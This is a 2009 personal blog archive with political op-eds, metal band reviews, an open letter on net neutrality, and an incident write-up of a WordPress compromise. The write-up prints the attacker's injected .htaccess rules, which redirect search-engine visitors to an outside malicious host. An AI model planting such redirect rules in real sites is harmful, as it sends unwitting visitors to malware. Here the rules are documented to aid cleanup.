Kyle Brady: Blog » Kyle Brady

“Let’s Stop The Nonsense, OK?” [Self]

Kyle Brady — Mon, 09 Nov 2009 08:10:36 +0000

If you’re one of the people that goes insane and hyper-joyous over things like Twitter Lists, you need to seek medical help – these “features”, used in the loosest sense of the software term, are not something to get overly excited about.

Go check it out.

Healthcare Has a Glimmer of Hope [OpEd]

Kyle Brady — Mon, 09 Nov 2009 08:05:56 +0000

On Saturday night, the 7th of November 2009, a moment that is being called “historic” by some passed by without much notice to the general American population until Sunday: the healthcare reform bill was voted on, and passed, in the House of Representatives. Not in a committee or in some pre-approval vote-to-vote fashion, but the actual, legitimate bill.

This is mostly good news for the country and the issue of healthcare reform, as half of Congress has now definitively taken a stance on the issues at hand, but the battle is far from over: the Senate must vote on their own version of a healthcare bill, and there will likely be even more time spent afterward wrangling a single bill out of the two for the President to sign into law. However, the fact that the House of Representatives took a vote now is indicative of their intent, since the Senate Majority Leader has only recently stated a vote in the Senate could possibly occur after the start of 2010 – this is the House giving impetus to their slower-moving legislative counterparts.

The vote was broadcast on C-SPAN some time around 11pm PST, repackaged for CNN and other major infotainment stations, and the fifteen-minute process delivered some interesting information to the viewers: the ability to watch how long it took 30-or-so Democratic Representatives to decide where they stand was an astounding display of political dithering. Additionally, Republicans, barely after the start of the vote, had almost unanimously voted against the bill, but a lone Republican, Anh "Joseph" Cao, eventually voted in its favor, even as 39 Democrats displayed where their true loyalties lay.

Displays such as this by the Republican Party show that they truly are, at least at the representation level, the “Party of ‘No’”, their previous procedural attempts to block the vote completely notwithstanding. Despite a serious number of concessions that raise grave concerns about the legitimate impact of the bill, such as a removal of support for abortions via public option, did not seem to have any effect on how the GOP House Representatives voted – what, then, was the purpose of attempting to negotiate with them? This is likely a preview of how the Senate’s vote will proceed, with a majority of its members voting along party lines and a small handful standing as the “deciding factors”.

The bill from the House is far from perfect, but it is a decent foundation and a definitive declaration of intent to the American people – it has very little chance of becoming actual law as it currently stands, but the tone has been set, and that is almost as important as the legislation itself. It is worrisome, however, that the last six months have been essentially wasted in argument, discussion, and propaganda, thanks, in large part, to the childlike and irrational oppositional display shown en masse.

It’s important to note that the Democrats who voted for the bill were not in favor of all its amendments and provisions, but rather in support of a majority of them and the ideological force behind the bill. Republicans would have done better to vote more fluidly in this nature, with public statements on their likes/dislikes, but, at this point, such behavior cannot be expected from the party that is collapsing on itself.

The Senate must now make a push for their version of the bill to be voted on within the very near future, lest this process be extended any further than necessary without any gains, most especially since those in opposition have proven they are not interested in having their vote being swayed – Olympia Snowe does not matter. Leaving this piece of legislation to linger in the Senate past the New Year would be a crushing blow to progress, as the first few months of the year are always dedicated to financing the government and other administrative deeds. The strategy during the Clinton Administration was for the Republicans to delay until an election year, where Congressmen would be more careful of how they vote, and their current not-so-secret scheming are exactly the same.

Healthcare reform, the public option included, now has a glimmer of hope, thanks to most of the House Democrats and Representative Cao. The fate of the bill now rests with the Senate, which the American people can only hope will make the ethically correct decision to deal with the health, state, and general welfare of the country sooner rather than later.

Wordpress, MediaTemple, and an Injection Attack [Expose]

Kyle Brady — Sun, 08 Nov 2009 00:04:45 +0000

Sometime in the last week, my “kyle-brady.com” account with MediaTemple was compromised via a Wordpress 2.8.5 exploit, and it caused havoc for a few days – I finally noticed it on the evening of 11/6/2009, and it was finally resolved in the afternoon of 11/7/2009.

Here’s what happened:

an IP address from Texas submitted a POST request to Wordpress that somehow uploaded a file, which extracted itself and injected a piece of Javascript eval() code to execute after the tag

a list of hundreds of URLs to assorted pages, mostly porn, appeared after the tag on all pages of the site

for content created after the attack, it somehow embedded itself inside the Wordpress content, and all links redirected to a malware site – in addition to breaking the entire page

Here’s how to fix it:

remove the eval() code from “index.php” in the root Wordpress directory

delete and recreate, through the Wordpress panel (NOT directly in the database), all infected posts

delete the .nfs* file in the root Wordpress directory

if you’re really paranoid, replace all the Wordpress files with clean source

open the root .htaccess file and remove this code

I originally thought that someone may have gained access to Wordpress, or the server itself, and modified some themes files or something Apache-level, but this obviously wasn’t the case. MediaTemple was essential in discovering both the problem and solution, even though it’s outside the realm of hosting – they’re the ones that discovered an IP in Texas made a POST request to upload a file, and they discovered exactly what was going on.

If MediaTemple had refused to help me, it would have been much more difficult to figure all of this out, since I’m not familiar enough with servers to easily run log searches, or other tools necessary for this sleuthing. But they didn’t, and one of the Support Technicians (Mike M.) actually spent a few hours in the middle of the night poking around for me, and called me at 4:30am PST with a definitive solution.

Wordpress Security has already been contacted about this issue, to hopefully help others avoid this issue in the future. Many thanks to MediaTemple, especially Mike M. and Chris K., for the unexpectedly awesome assistance.

--- --- ---

Update (11/8/2009 10:25pm PST): Thanks to Dan's discovery, the .htaccess editing has been included in the removal steps.

--- --- ---

More details:

Uploaded File

named “.nfs*” in the root Wordpress directory

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

Javascript Eval Code

found in “index.php” in the root Wordpress directory

Example Link

found after the tag on all pages, list of hundreds of similar URLs

blow dryer tattoo

.htaccess Code

found in the root ".htaccess file"

RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]

RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

For All Their Lives [Metal Band of the Week]

Kyle Brady — Sat, 07 Nov 2009 08:05:53 +0000

While not strictly metal, For All Their Lives is a band that lives on the borders and is worth mentioning, thanks to their sound and distinct showing of promise. This five-piece out of the northern Gulf Coast of Florida is a compelling fusion of post-hardcore, a less-annoying brand of emocore, and progressive hardcore, which sounds as if it might be an unruly mess of noise – except that it isn’t.

For most bands with only a two-song catalog to cherry-pick, it’s difficult to find distinctive themes throughout their work, but For All Their Lives’ musical influences and heroes make themselves extremely evident, at least within the shadowy boundaries of the metal community: Saosin, Misery Signals, Bless The Fall, and other similar bands that prefer to blend their genre constraints. Perhaps this is why their band image is what some would consider decidedly “unmetal”, but the v-neck t-shirts and slightly-messy, short-length hair can be found in those which they are channeling.

The use of both harsh vocals and higher-pitched, borderline emo singing creates a dichotomy that works surprisingly well, allowing the musical vibe to be rhythmic, uplifting, and, at times, groove-worthy. Additionally, the choice of guitar techniques and sound follow similar patterns that switch between heavily distorted breakdowns and faster-paced, melodic-riff choruses that enhance the vocal techniques to greater effect.

Great potential lies with For All Their Lives as a genre-fusion band on the very edges of metal, and they may end up effecting the same genres of which they span – only time will tell.

For All Their Lives can be found on MySpace, along with their two-song catalog.

“Mainstream Media’s Death – Pending” [Self]

Kyle Brady — Mon, 02 Nov 2009 07:20:27 +0000

New column at the Inquisitr:

TIME, along with it’s weekly brethren, typically has historically had more journalistic integrity per paragraph than any newspaper does per page – this is common knowledge, and it was assumed by many that they would weather the perfect storm of media collapse better than most. This, apparently, was an incorrect assumption.

Go check it out.

Series Cancelation [Thought of the Day]

Kyle Brady — Mon, 02 Nov 2009 07:15:28 +0000

As of today, November 2nd, 2009, the "Thought of the Day" daily funny picture posting series has been terminated due to a number of causes, but most specifically a refocusing of this blog into a regularly-schedule textual-content vehicle.

The archives will be kept for posterity, but all references on the site to them have been removed - the only access points to these posts for the foreseeable future will be search engines or direct links.

Making Net Neutrality Policy [OpEd]

Kyle Brady — Mon, 02 Nov 2009 07:05:45 +0000

Net Neutrality policy, or, rather, the need for such policy, is not a new topic, yet it has only just reached the halls of Congress for consideration, and brought with it the usual slew of idiocy and incompetence that can only be found in a group of people trying to legislate on an arena of life they barely understand, let alone participate in.

At it’s heart, Net Neutrality is about unfettered, unrestricted, and unbiased access to the Internet, but as is typical with such a broad concept, there are many variations and definitions. The most idealistic and effective interpretation of Net Neutrality is one that prevents Internet Service Providers from filtering, shaping, or blocking traffic based on type, source, or size, as well as preventing discrimination by ISPs that may have conflicting interests.

An effective example is to examine Comcast’s holdings and behaviors: they are, at the heart, a cable network with television subscribers and have ample interest in seeing on demand media via the Internet (such as Hulu) fail to achieve mass market success - they also have VoIP telephone offerings, which competes with services such as Skype. In the case of Comcast, it would be in their best interest to prevent, augment, or charge an extra fee for the use of services over its network that competes with their offerings, but this is highly unethical and they have yet to officially implement such policy – although it is inevitable and is rumored to currently be the talk of their executives. Furthermore, Comcast has expressed interest in so-called “bandwidth caps” that would put arbitrary limits on the amount of data a user can send and receive over their broadband connection within a given time period, which is a not-so-clever approach to decimating their high bandwidth service rivals.

Companies such as Comcast already participate heavily, and illegally, in a practice known as “traffic shaping”, by which certain types of traffic are either severely impeded or prevented entirely for reasons that are not publicly admitted to – experiments have proven peer-to-peer traffic to be one of the triggers of this behavior, and using “too much bandwidth” in an arbitrary time period, a policy stated nowhere, is another trigger known for AT&T.

These are the reasons why Net Neutrality is important, but weak policy passed with a Net Neutrality label, either by the FCC or Congress, is not enough. Republicans have already, predictably, come out in force against regulating ISPs, along with their fellow corrupt politicians throughout Congress that are more interested in their own pockets than the betterment of America or its people – John McCain, an admitted technophobe and Internet-avoider, has even introduced legislation that would prevent the federal government from even getting involved in this issue.

It is critical to the future of America, most especially a digital one, that Internet Service Providers come to be regarded as the next utility company, rather than as a service that citizens can choose to participate in. If only a single lesson can be learned from the financial mess of the last two years, it is this: markets cannot, and will not, regulate themselves when there are ever greater profits to be had at the expense of their customers/beneficiaries. The lack of regulation on the broadband market so far has resulted in a situation that is quickly approaching chaos, with a variety of plans and machinations to provide ever-less services for ever-greater prices.

The inevitable argument in Congress will be whether the networks have the ability to support unadulterated traffic, and the answer is a resounding ‘yes’. This, however, will be hard to express to those who are technologically illiterate by trade or ignorant by choice. It is, therefore, of the utmost importance that digitally-minded citizens across America make their voices heard on this issue: if a customer has ever experienced less-than-advertised speeds, long-term disconnected service, traffic filtering/shaping/blocking, or been the recipient of other such nefarious activities, both the FCC and Congress need to know.

An America that has bandwidth caps, approved traffic types, and networks that don’t communicate with each other is not a country that can continue to grow and compete on a global, or digital, scale. Technological illiterate Senators such as John McCain should be excluded, by whatever means possible, from the process, along with those Senators that have indicated their loyalties lie with those finance their campaigns, such as Diane Feinstein. This issue, much like true healthcare reform, is one that can only be accomplished through brute force and political strength of will – there will be no bipartisanship, and it is likely that anyone within Congress that considers themselves a conservative, regardless of party, will oppose such legislation as well.

In light of Congress' known stagnation and distinct lack of progressive interests, perhaps the FCC should pass their legislation first, however weakened, to set the tone and discussion for future Congressional legislation – if there is policy in place that provides the foundation of true Net Neutrality, it would be considerably more difficult for detractors to argue against the mere existence of such legislation.

Julius Genachowski, it is time to prove that you are capable of achieving what you claim to believe in - America is waiting.

Black Thoughts Bleeding [Metal Band of the Week]

Kyle Brady — Sun, 01 Nov 2009 07:05:29 +0000

Mix one part Through the Eyes of the Dead, one part Arch Enemy, two parts Soilwork, and stir with a dash of Dethklok flair - that's the musical recipe that Black Thoughts Bleeding, hailing from Germany, seems to have divined while forming their five-piece band.

Black Thoughts Bleeding falls into the same hard-to-define category of metal that many modern metal bands do, as they blend several genres into one coherent musical opus, but they likely could be categorized as melodic death metal, if it even matters. Of their three-song demo, the song “Hearts Got Broken” is the weakest and most stereotypical, but the remaining two more than counter its effect. The heavy, fast, and syncopated riffs that punctuate the verses are reminiscent of Arch Enemy’s past, but the guitars take a surprising turn into slower melody for the chorus, a tactic normally reserved for metalcore bands that manages to not illicit comparisons to Killswitch Engage.

The anthemic nature of the songs is what brings the melodic black metal label to life, even with the semi-depressing singing vocals that make appearances in the chorus. The vocal range itself is impressive, ranging from the typical death metal growl to a more ragged scream that shifts into an uplifting, haunting melody delivery that brings to mind some of the talents of Devin Townsend.

Black Thoughts Bleeding is an intriguing example of how up-and-coming bands are blending genres more and more to greater effect, rather than sticking within a certain realm – in fact, this seems to be Black Thoughts Bleeding’s greatest strength, and what makes them stand out from the rest of the death metal crowd. If this characteristic can be held onto during their rise to success, then many accolades will likely come.

Black Thoughts Bleeding just signed a worldwide record deal with Silverwolf Productions, and can be found on MySpace; their first full-length album, “Stomachion”, is set to debut February 12, 2010, and until then their EP is available online.

Working Hard [Thought of the Day]

Kyle Brady — Sat, 31 Oct 2009 07:15:39 +0000

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An Open Letter to Senator Diane Feinstein [Expose]

Kyle Brady — Fri, 30 Oct 2009 14:17:23 +0000

I recently participated in a petition website that sent out letters to the Congressmen for our individual states on the issue of Net Neutrality and its importance – I’d like to it if I remembered what site it was. One of the Senators that received the letter from my California location was Senator Diane Feinstein (D-CA), who sent me an unexpected email reply, albeit a form letter.

I don’t have a problem that she sent me a form letter, and am actually glad she acknowledged my existence – my problem is in what, exactly, she said and what that means. To that end, the following is an Open Letter to Senator Diane Feinstein…

Dear Senator Diane Feinstein,

Thank you for recognizing my existence, even if it was via a form letter – it makes me feel as if I can, as a citizen, have an effect on our modern political battlefield in the age of corporate interests and corrupt legislators.

I do, however, have a problem with your response: within the same breath, you claim to support the principles of Net Neutrality, but immediately question the need for regulation and indicate that the interests of ISPs are potentially more important than those of their customers, which just happen to be the entire population of America.

Internet Service Providers, on the whole, have long since proved they have no interest in the privacy or equal treatment of their customers, with behaviors that run the gamut from traffic filtering/shaping/blocking to warrantless wiretapping. Other utilities companies in America, whether they are private, public, or a coalition project with the government, are heavily regulated and carefully monitored so as to not disrupt the daily activities of the country – in the age of the Internet, connectivity, and an increasing dependence on all things digital, why is Internet access treated any differently than electricity, water, waste management, or various other services?

You see, Internet access has become the next modern utility service. It has crept up on the country and taken both the people and the legislature by surprise, but it has arrived at this status nonetheless. Would it be acceptable for a power company, such as PG&E, to cut off power to homes that it felt weren’t using its electricity properly, or in a manner they ethically approve of? Would it be acceptable to selectively provide water to households that only use their product in amounts less than an arbitrary and unreasonable threshold on a daily basis? Or perhaps local trash pickups should only occur when the waste management company feels that your trash has appropriate ratios of paper, plastic, and biodegradable?

The answer, quite obviously, is a resounding ‘no’.

America was founded on the principles of individual rights and freedoms, and has since grown substantially to support and enhance these initial values, but it is time to take another large step in the process of liberty: a Digital Rights and Freedoms Act must be had for the American people, lest the nation devolve into unrepentant digital battles for civil liberties.

The national bandwidth has yet to approach capacity, despite what network providers will tell you, and there is much more ‘dark fibre’ to be found and used, left over from the dot-com boom, for further capacity. The problem is that for ISPs to provide the bandwidth and speeds that they advertise to their customers, essentially anything labeled as 'broadband', they would have to distribute customers more intelligently and appropriately across networks, rather than continue their current habit of overloading – this means less profits, because of the associated network costs. To accomplish this process of overloading, they employ tactics of filtering, shaping, and blocking traffic, often citing bogus claims of “network overload” or “unacceptable traffic”.

Finally, an underlying issue that will undoubtedly arise is that of copyright – the MPAA and RIAA would love for nothing more than certain types of traffic, usually classified as Peer-to-Peer, to be blocked from all networks. The honest truth, however, is that these protocols are copyright-independent, and are often used for entirely legal purposes. Yet the ISPs use these claims to shut off customers’ access, or heavily filter it, because of the occurrence of a supposedly illegal activity. Deciding whether a P2P traffic stream is legal is severely work intensive, and not something that can be accomplished by a piece of software – traffic source (such as The Pirate Bay) is not related to its legality, filetype (such as MP3) is independent of copyright, and original source (such as Shakespeare or Nine Inch Nails) is often, and rightly, ambiguous.

The point that I’m trying to make, and that you hopefully understand, is this: Net Neutrality is neither optional nor negotiable. As an AT&T customer by default, I have experienced heavy traffic filtering and corporate lies for the last three years, and I can personally tell you that it occurs when I am doing nothing even approaching illegal, yet it interferes with my productivity and workflow. If America, as a nation, is expecting to be a competitive and connected force on the global scale in the coming years, then federal legislation must be passed in order to secure the Digital Rights and Freedoms of the American people.

A lesson learned from the last two years of banking and investment institutions’ abhorrent behaviors should be that markets absolutely will not regulate themselves in a manner aligned with proper ethics, or the betterment of their customers, when there are higher profits to be had. Comcast and AT&T are both tangible examples of ever-higher prices for ever-degrading service, and such a trend will likely only continue – it is up to Congress, along with the FCC, to ensure that it definitively does not.

The battle for Net Neutrality in America is no different than any of the prior battles for Civil Liberties, as it is about the ability of all citizens to work and live in a manner that they are fundamentally entitled to. Anything short of a complete and uncompromising suite of regulations to place what has been previously unwritten into explicit law will be perceived by a large subset of the country as a failure of Congress to both understand the fundamental issue and act on behalf of the people.

Do not let corporate interests, or the Congressmen they control, sway your opinions or influence your decision.

Sincerely,

Kyle Brady

Correspondence

From: Senator Diane Feinstein

To: Me

Date: 10/29/2009

Dear Mr. Brady:

Thank you for writing to me about open access to the Internet and network neutrality. I appreciate hearing from you.

I agree with the general principles of network neutrality that owners of the networks that provide access to the Internet should not control how consumers lawfully use that network and should not be able to discriminate against content provider access to that network.

As Congress debates changes to our telecommunications laws this year, many different proposals have been offered regarding network neutrality. The question arises whether or not action is needed to ensure unfettered access to the Internet. I believe any workable solution must balance the needs of the network, service and information providers. Please know that when legislation regarding network neutrality comes before the Senate I will be sure to keep your specific views in mind.

Again, thank you for writing. If you should have any comments or questions, I hope you will feel free to contact my Washington, DC staff at (202) 224-3841.